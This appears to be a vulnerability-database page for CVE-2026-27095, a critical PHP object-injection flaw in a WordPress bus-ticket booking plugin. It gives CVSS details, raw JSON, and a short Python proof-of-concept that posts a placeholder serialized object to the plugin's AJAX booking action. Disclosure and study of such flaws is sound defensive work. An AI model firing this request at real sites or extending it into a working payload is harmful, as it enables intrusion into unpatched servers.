Security Vulnerability Report
中文
CVE-2026-27095 CVSS 9.8 CRITICAL

CVE-2026-27095

Published: 2026-03-25 17:16:57
Last Modified: 2026-04-24 16:35:20

Description

Deserialization of Untrusted Data vulnerability in magepeopleteam Bus Ticket Booking with Seat Reservation bus-ticket-booking-with-seat-reservation allows Object Injection.This issue affects Bus Ticket Booking with Seat Reservation: from n/a through <= 5.6.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Bus Ticket Booking with Seat Reservation <= 5.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-27095 PoC Generator # This script generates a request to trigger the deserialization vulnerability. target_url = "http://target-site/wp-admin/admin-ajax.php" # Generic PHP Object Injection payload (Actual payload depends on available gadget chains) # Example: O:8:"stdClass":0:{} attacker_payload = 'O:8:"stdClass":0:{}' data = { "action": "wbtb_book_seat", "form_data": attacker_payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check server for code execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27095", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:56.637", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in magepeopleteam Bus Ticket Booking with Seat Reservation bus-ticket-booking-with-seat-reservation allows Object Injection.This issue affects Bus Ticket Booking with Seat Reservation: from n/a through <= 5.6.0."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en magepeopleteam Bus Ticket Booking with Seat Reservation bus-ticket-booking-with-seat-reservation permite la inyección de objetos. Este problema afecta a Bus Ticket Booking with Seat Reservation: desde n/a hasta &lt;= 5.6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bus-ticket-booking-with-seat-reservation/vulnerability/wordpress-bus-ticket-booking-with-seat-reservation-plugin-5-6-2-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}